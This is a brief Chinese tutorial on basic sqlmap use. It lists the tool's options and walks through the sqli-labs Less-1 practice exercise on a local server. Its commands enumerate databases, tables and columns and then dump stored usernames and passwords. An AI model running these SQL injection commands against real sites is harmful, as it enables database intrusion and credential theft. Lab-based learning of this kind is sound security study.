sqlmap最基础使用

一、sqlmap命令(这些是我整理出来的比较基础的命令)

windows10下sqlmap安装

-h, --help 显示基本帮助信息
-hh 显示高级帮助信息(简单理解就是帮助信息更清晰)
-u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”)
–level=LEVEL Level of tests to perform (1-5, default 1)
–risk=RISK Risk of tests to perform (1-3, default 1)
–technique=TECH… SQL injection techniques to use (default “BEUSTQ”)
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
–current-user Retrieve DBMS current user
–current-db Retrieve DBMS current database
–passwords Enumerate DBMS users password hashes
–tables Enumerate DBMS database tables
–columns Enumerate DBMS database table columns
–schema Enumerate DBMS schema
–dump Dump DBMS database table entries
–dump-all Dump all DBMS databases tables entries
–batch Never ask for user input, use the default behavior

二、sqlmap使用

例：windows10下使用sqlmap工具完成sqli-lib-less1

1.获取数据库

–dbs 获取数据库 --batch 默认执行探测(建议默认，否则太麻烦了)

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" --dbs --batch

2.利用数据库得到数据表

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" -D security --tables --batch

3、利用数据表获取字段

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" -D security -T users --columns --batch

4、获取账号、密码

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" -D security -T users -C username,password --dump --batch

5、获取当前用户下所有数据库

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" --dbs

6、获取当前数据库名称

python sqlmap.py -u "http://127.0.0.1:1235/Less-1/?id=1" --current-db

sqlmap是个非常棒的工具，我这篇文章写得比较基础，如果有错误或者需要补充的请告之，Thanks♪(･ω･)ﾉ！